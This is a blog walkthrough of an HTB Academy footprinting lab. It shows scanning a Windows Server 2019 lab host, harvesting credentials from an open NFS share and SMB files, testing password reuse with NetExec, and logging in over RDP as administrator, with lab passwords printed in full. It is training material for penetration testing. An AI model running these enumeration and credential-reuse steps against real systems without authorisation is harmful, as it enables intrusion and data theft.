Post cover image

October 15, 2026

HTB Academy Footprinting Lab — Medium

This second server is a server that everyone on the internal network has access to. In our discussion with our client, we pointed out that…

By Psychopath-Traveler

7 min read

This second server is a server that everyone on the internal network has access to. In our discussion with our client, we pointed out that these servers are often one of the main targets for attackers and that this server should be added to the scope.

Our customer agreed to this and added this server to our scope. Here, too, the goal remains the same. We need to find out as much information as possible about this server and find ways to use it against the server itself. For the proof and protection of customer data, a user named HTB has been created. Accordingly, we need to obtain the credentials of this user as proof.

Open Ports Discovering

First of all and always to discover all the open ports on the target.

┌──(kali㉿kali)-[~/hack/04-Footprinting/Medium]
└─$ rustscan -a 10.129.202.41 -r 1-65535 --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.

<SNIP>

PORT      STATE SERVICE       REASON
111/tcp   open  rpcbind       syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
2049/tcp  open  nfs           syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
47001/tcp open  winrm         syn-ack ttl 127
49664/tcp open  unknown       syn-ack ttl 127
49665/tcp open  unknown       syn-ack ttl 127
49666/tcp open  unknown       syn-ack ttl 127
49667/tcp open  unknown       syn-ack ttl 127
49679/tcp open  unknown       syn-ack ttl 127
49680/tcp open  unknown       syn-ack ttl 127
49681/tcp open  unknown       syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
           Raw packets sent: 19 (812B) | Rcvd: 16 (688B)

And then we'll use Nmap to identify each port's detail information.

┌──(kali㉿kali)-[~/hack/04-Footprinting/Medium]
└─$ sudo nmap -sV -sC -A -p 111,135,139,445,2049,3389,5985,47001,49664,49665,49666,49667,49668,49679,49680,49681 10.129.202.41
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-15 03:24 -0400
Nmap scan report for 10.129.202.41
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  status        1 (RPC #100024)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WINMEDIUM
| Not valid before: 2026-10-14T06:14:25
|_Not valid after:  2027-04-15T06:14:25
| rdp-ntlm-info:
|   Target_Name: WINMEDIUM
|   NetBIOS_Domain_Name: WINMEDIUM
|   NetBIOS_Computer_Name: WINMEDIUM
|   DNS_Domain_Name: WINMEDIUM
|   DNS_Computer_Name: WINMEDIUM
|   Product_Version: 10.0.17763
|_  System_Time: 2026-10-15T07:25:25+00:00
|_ssl-date: 2026-10-15T07:25:34+00:00; -28s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-10-15T07:25:31
|_  start_date: N/A
|_clock-skew: mean: -28s, deviation: 0s, median: -28s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   235.28 ms 10.10.14.1
2   236.87 ms 10.129.202.41

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 289.70 seconds

Ports worth investigating:

  • 111 TCP rpcbind — RPC service mapping
  • 135 TCP msrpc — Microsoft Windows RPC
  • 139 TCP netbios-ssn — NetBIOS Session Service
  • 445 TCP microsoft-ds — SMB file sharing
  • 2049 TCP status / NFS-related RPC — NFS-related RPC services detected
  • 3389 TCP ms-wbt-server — RDP (Remote Desktop Protocol)
  • 5985 TCP http — Microsoft HTTPAPI; commonly used by WinRM
  • 47001 TCP http — Microsoft HTTPAPI; Windows management-related service

Enumerating open ports

We could take this order low-hanging fruit first and then spend more time on the main targets like HTTP or HTTP'S servers etc.

RPC Anonymous

We first start with RPC service on port 111 but it did not offer to us anonymous access unless we have valid credentials then we'll come back enumerate the target host or target environment further through this service.

None

SMB Anonymous

Same thing with SMB service on port 445 it did not allow anonymous access to it.

None

NFS Anonymous

Down to the list which is the NFS on port 2049 and this service allows everyone to mount the its contents, but after we mounted the files we have to switch to root user to access those files.

None

Only this file has contents other files does not, and this file looks some kind of chat history log file contains one user's credential which is alex.

None 
┌──(root㉿kali)-[/home/…/04-Footprinting/Medium/NFS/TechSupport]
└─# cat ticket4238791283782.txt
Conversation with InlaneFreight Ltd

Started on November 10, 2021 at 01:27 PM London time GMT (GMT+0200)
---
01:27 PM | Operator: Hello,.

So what brings you here today?
01:27 PM | alex: hello
01:27 PM | Operator: Hey alex!
01:27 PM | Operator: What do you need help with?
01:36 PM | alex: I run into an issue with the web config file on the system for the smtp server. do you mind to take a look at the config?
01:38 PM | Operator: Of course
01:42 PM | alex: here it is:

 1smtp {
 2    host=smtp.web.dev.inlanefreight.htb
 3    #port=25
 4    ssl=true
 5    user="alex"
 6    password="READ_DETECT"
 7    from="alex.g@web.dev.inlanefreight.htb"
 8}

 <SNIP>

And this user could let us access the SMB service, so we need to transfer our focus to the SMB service.

None

SMB Authenticated Access

On the devshare folder we found a file called important.txt contains user sa's credential which is the MSSQL database administrator account, let's enumerate other share folders leave no stone unturned.

None

On the Users folder we found out Users share on 10.129.202.41 is accessible with the credentials for alex and provides read-only access. Inside, the share contains the alex and Default user profile directories. The alex profile contains standard Windows folders, including Desktop, Documents, and Downloads.

Which potentially indicates that we could access the target through RDP as alex user, let's confirm this latter.

None

On the IPC$ folder we found nothing there.

None

RDP

Before we get straight to RDP access to the target we wanna test our credentials is valid or not and we could through NetExec (which is newer version of CrackMapExec).

Also since sa is an administrator account of the MSSQL database server we wanna know if there's password re-use exist on the target or not, and from the results two accounts both worked and password re-use existed there.

netexec smb <TARGET_IP> -u alex -p 'lol123!mD'

netexec smb <TARGET_IP> -u administrator -p '87N1ns@slls83'
None

Let us use the Administrator account and through this command we successfully access to the target via RDP service on port 3389.

xfreerdp3 /v:<TARGET_IP> /u:administrator /p:'87N1ns@slls83' /cert:ignore /dynamic-resolution /drive:share,<YOUR_DIRECTORY>
None

Retrieve Specific User's Password

  • Navigate to Microsoft SQL Server Management Studio 18 icon
  • Right-click > Run as administrator

Once you're at this page just click Connect button.

None

Once inside the app:

  • Open the Database database
  • Open the accounts database.
  • Open dbo.devsacc table.
  • Edit top 200 rows.
  • Search for HTB.
None

What I Learned

This lab focused on enumerating a Windows Server 2019 host (WINMEDIUM) to identify exposed services, discover credentials, and retrieve a specific user's password as proof of access.

  • Port and service enumeration: Used RustScan and Nmap to identify open ports, including SMB (445), RDP (3389), NFS (2049), RPC (111, 135), and WinRM-related services (5985, 47001).
  • NFS enumeration: Discovered an anonymously accessible NFS share containing a technical support chat log. The log exposed credentials for the alex account.
  • SMB enumeration: Used the discovered credentials to access SMB shares, identify readable directories, and locate a file containing MSSQL administrator (sa) credentials.
  • Credential validation and password reuse: Used NetExec to validate credentials against SMB and confirmed administrative access with the Windows administrator account. This demonstrated the security risk of credential reuse.
  • Remote access: Connected to the target through RDP using the validated administrator credentials.
  • MSSQL enumeration: Opened SQL Server Management Studio, navigated to the accounts database and dbo.devsacc table, and located the HTB user's credentials.

Key takeaways: This exercise reinforced the importance of systematic service enumeration, investigating accessible network shares, protecting credentials stored in logs and configuration files, testing for password reuse, and examining database contents when authorized access is available. It also demonstrated how seemingly minor information disclosures can lead to administrative access and further sensitive data exposure.

Keep Learning, HAPPY HACKING!